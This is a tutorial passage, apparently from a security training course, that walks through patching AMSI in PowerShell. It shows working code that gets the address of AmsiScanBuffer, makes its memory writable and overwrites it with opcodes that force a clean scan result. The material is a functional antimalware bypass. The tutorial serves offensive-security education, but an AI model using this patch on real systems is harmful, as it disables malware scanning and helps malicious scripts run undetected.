Patching AMSI

AMSI is primarily instrumented and loaded from amsi.dll; this can be confirmed from the diagram we observed earlier. This dll can be abused and forced to point to a response code we want. The AmsiScanBuffer function provides us the hooks and functionality we need to access the pointer/buffer for the response code.

AmsiScanBuffer is vulnerable because amsi.dll is loaded into the PowerShell process at startup; our session has the same permission level as the utility.

AmsiScanBuffer will scan a "buffer" of suspected code and report it to amsi.dll to determine the response. We can control this function and overwrite the buffer with a clean return code. To identify the buffer needed for the return code, we need to do some reverse engineering; luckily, this research and reverse engineering have already been done. We have the exact return code we need to obtain a clean response!

We will break down a code snippet modified by BC-Security and inspired by Tal Liberman; you can find the original code here. RastaMouse also has a similar bypass written in C# that uses the same technique; you can find the code here.

At a high-level AMSI patching can be broken up into four steps,

  1. Obtain handle of amsi.dll

  2. Get process address of AmsiScanBuffer

  3. Modify memory protections of AmsiScanBuffer

  4. Write opcodes to AmsiScanBuffer

We first need to load in any external libraries or API calls we want to utilize; we will load GetProcAddress, GetModuleHandle, and VirtualProtect from kernel32 using p/invoke.

The functions are now defined, but we need to load the API calls using Add-Type. This cmdlet will load the functions with a proper type and namespace that will allow the functions to be called.

$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;

Now that we can call our API functions, we can identify where amsi.dll is located and how to get to the function. First, we need to identify the process handle of AMSI using GetModuleHandle. The handle will then be used to identify the process address of AmsiScanBuffer using GetProcAddress

$handle = [Win32.Kernel32]::GetModuleHandle(
        'amsi.dll' // Obtains handle to amsi.dll
);
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress(
        $handle, // Handle of amsi.dll
        'AmsiScanBuffer' // API call to obtain
); 

Next, we need to modify the memory protection of the AmsiScanBuffer process region. We can specify parameters and the buffer address for VirtualProtect.

Information on the parameters and their values can be found from the previously mentioned API documentation

[UInt32]$Size = 0x5; // Size of region
[UInt32]$ProtectFlag = 0x40; // PAGE_EXECUTE_READWRITE
[UInt32]$OldProtectFlag = 0; // Arbitrary value to store options
[Win32.Kernel32]::VirtualProtect(
        $BufferAddress, // Point to AmsiScanBuffer
        $Size, // Size of region
        $ProtectFlag, // Enables R or RW access to region
        [Ref]$OldProtectFlag // Pointer to store old options
); 

We need to specify what we want to overwrite the buffer with; the process to identify this buffer can be found here. Once the buffer is specified, we can use marshal copy to write to the process.

$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy(
        $buf, // Opcodes/array to write
        0, // Where to start copying in source array 
        $BufferAddress, // Where to write (AsmiScanBuffer)
        6 // Number of elements/opcodes to write
); 

At this stage, we should have an AMSI bypass that works! It should be noted that with most tooling, signatures and detections can and are crafted to detect this script.

Last updated